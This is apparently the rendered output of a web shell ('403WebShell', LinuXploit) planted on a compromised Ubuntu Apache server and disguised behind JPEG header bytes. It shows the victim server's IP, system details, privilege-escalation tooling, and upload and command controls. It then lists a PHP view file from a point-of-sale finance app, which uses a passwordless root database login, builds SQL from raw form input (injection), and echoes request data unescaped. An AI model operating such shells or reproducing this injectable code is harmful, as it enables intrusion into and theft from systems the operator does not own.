����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.148.76
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/polizasnew1-view.php
<script type="text/javascript">
jQuery(function($){
	$("#fecmov").mask("99/99/9999");
});
</script>

<?php

class Conexion
{
	private $con;
	private $id;
	
	function __construct()
	{
		$this->con = mysqli_connect("localhost","root","","webfinanza") or die ("Error " . mysqli_error($this->con));
	}

	public function retrieveQuery($sql)
	{
		$query = $this->con->query($sql);
		$this->id = mysqli_insert_id($this->con);
		
		return $query;
	}
	
	public function retrieveArray($sql)
	{
		$array = array();
		$res = $this->retrieveQuery($sql);
		
		while($row = mysqli_fetch_array($res))
		{
			$array[] = $row;
		}
		
		return $array;
	}
	
	public function retrieveLastID()
	{
		return $this->id;
	}
	
	public function retrieveField($sql)
	{
		$retorno = '';
		$res = $this->retrieveQuery($sql);
		
		while($row = mysqli_fetch_array($res))
		{
			$retorno = $row[0];
		}
		
		return $retorno;
	}
}

?>
        
<?php
$idCta = $_REQUEST['id'];
$con = new Conexion();

$sqlPer = "SELECT persona.id, persona.nombres FROM persona ORDER BY persona.nombres ASC";
$sqlCon = "SELECT concepto.id, concepto.descripcion FROM concepto ORDER BY concepto.descripcion ASC";
$sqlCta = "SELECT cuenta.id, cuenta.descripcion, cuenta.idmoneda FROM cuenta ORDER BY cuenta.descripcion ASC";
$sqlMon = "SELECT moneda.id, moneda.descripcion FROM moneda ORDER BY moneda.descripcion ASC";

$datosPer = $con->retrieveArray($sqlPer);
$datosCon = $con->retrieveArray($sqlCon);
$datosCta = $con->retrieveArray($sqlCta);
$datosMon = $con->retrieveArray($sqlMon);
?>

<br/>
  <section class="content-header">
          <h1>NUEVA POLIZA</h1>
          <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-dashboard"></i> Bancos</a></li>
            <li class="active">nueva poliza</li>
          </ol>
		  
    </section>

<section class="content">

<div class="box box-primary">
  <div class="box-header">
    <h3 class="box-title">Ingresar Datos </h3>

  </div><!-- /.box-header -->
  <div class="box-body">	

<form name="frm" method="post">
<table border="0" width="96%" align="center" cellpadding="0" cellspacing="0">
	<tr height="10px">
    	
      
    </tr>
</table>
<br>

<table border="0" align="center" cellpadding="0" cellspacing="0">
	<tr height="40px">
    	<td width="80px">Tipo</td>
        <td width="40px">
        	<select name="tipo" class="combo" style="width:100%">
            <option value="C">Egreso</option>
            <option value="P">Ingreso</option>
            </select>
        </td>
    	<td width="150px" align="right">Fecha&nbsp;</td>
        <td width="10px"><input type="text" name="fecmov" id="fecmov" value="<?php echo date("d/m/Y"); ?>" style="width:80px; text-align:center"/></td>
    </tr>
	<tr height="40px">
    	<td width="80px">Persona</td>
        <td colspan="3">
        	<select name="persona" class="combo" style="width:100%">
            <?php for($i=0;$i<count($datosPer);$i++){ ?>
            <option value="<?php echo $datosPer[$i]['id']; ?>"><?php echo $datosPer[$i]['nombres']; ?></option>
            <?php } ?>
            </select>
        </td>
    </tr>
	<tr height="40px">
    	<td>Concepto</td>
        <td colspan="3">
        	<select name="concepto" class="combo" style="width:100%">
            <?php for($i=0;$i<count($datosCon);$i++){ ?>
            <option value="<?php echo $datosCon[$i]['id']; ?>"><?php echo $datosCon[$i]['descripcion']; ?></option>
            <?php } ?>
            </select>
        </td>
    </tr>
	<tr height="40px">
    	<td>Cuenta</td>
        <td colspan="3">
        	<select name="cuenta" id="cuenta" class="combo" style="width:100%" onChange="document.getElementById('moneda').value = this.options[this.selectedIndex].text.substring(0,2);">
            <?php for($i=0;$i<count($datosCta);$i++){ ?>
            <option value="<?php echo $datosCta[$i]['id']; ?>" <?php if(!empty($idCta) && $datosCta[$i]['id'] == $idCta){ echo "selected"; } ?>><?php echo $datosCta[$i]['idmoneda']." - ".$datosCta[$i]['descripcion']; ?></option>
            <?php } ?>
            </select>
        </td>
    </tr>
    <tr height="40px">
    	<td>Importe</td>
        <td><input type="text" name="importe" id="importe" style="text-align:right"/></td>
        <td colspan="2">
        	<select name="moneda" id="moneda" class="combo" style="width:100%" onChange="this.value = document.getElementById('cuenta').options[document.getElementById('cuenta').selectedIndex].text.substring(0,2);" onChange="this.options[1].selected=true">
            <?php for($i=0;$i<count($datosMon);$i++){ ?>
            <option value="<?php echo $datosMon[$i]['id']; ?>"><?php echo $datosMon[$i]['descripcion']; ?></option>
            <?php } ?>
            </select>
        </td>
    </tr>
    <tr height="40px">
    	<td width="80px">Detalle</td>
        <td colspan="3"><input type="text" name="detalle" style="width:97%"/></td>
    </tr>
    <tr height="40px">
    	<td colspan="4" align="right">
	        <button type="button" onclick="document.location.href='./index.php?view=polizasnew&ref=<?php echo $idCta; ?>';" name="btnRegresa" class="button icon arrowleft">Regresar</button>
            <button type="submit" name="btnGuarda" class="button icon approve">Guardar</button>
        </td>
    </tr>
</table>
</form>
<br>
<br>
<br>
<br>


<?php
if(isset($_POST['btnGuarda']))
{
	//CAPTURAR DATOS
	$dTip = $_POST['tipo'];
	$dFec = $_POST['fecmov']; $dFec = substr($dFec,6,4) . "-" . substr($dFec,3,2) . "-" . substr($dFec,0,2);
	$dPer = $_POST['persona'];
	$dCon = $_POST['concepto'];
	$dCta = $_POST['cuenta'];
	$dMon = $_POST['moneda'];
	$dImp = $_POST['importe'];
	$dDet = $_POST['detalle'];
	
	$msg = "<script>document.location.href='./index.php?view=polizasnew&ref=$dCta';</script>";
	
	//VALIDACION
	if(empty($dTip) || empty($dFec) || empty($dPer) || empty($dCon) || empty($dCta) || empty($dMon) || empty($dImp) || empty($dDet))
	{
		$msg = "<br><center><font style='color: #B31E21'>Todos los datos son necesarios</font></center>";
	}
	else
	{
		$sql  = "INSERT INTO movimiento (idpersona,idmoneda,idconcepto,idcuenta,tipo,fecha,importe,descripcion) ";
		$sql .= "VALUES ($dPer,'$dMon',$dCon,$dCta,'$dTip','$dFec','$dImp','$dDet')";
		
		$con->retrieveQuery($sql);
		$id = $con->retrieveLastID();
	}
	
	echo $msg;
}
?>

</div>
</div>


</section>

Youez - 2016 - github.com/yon3zu
LinuXploit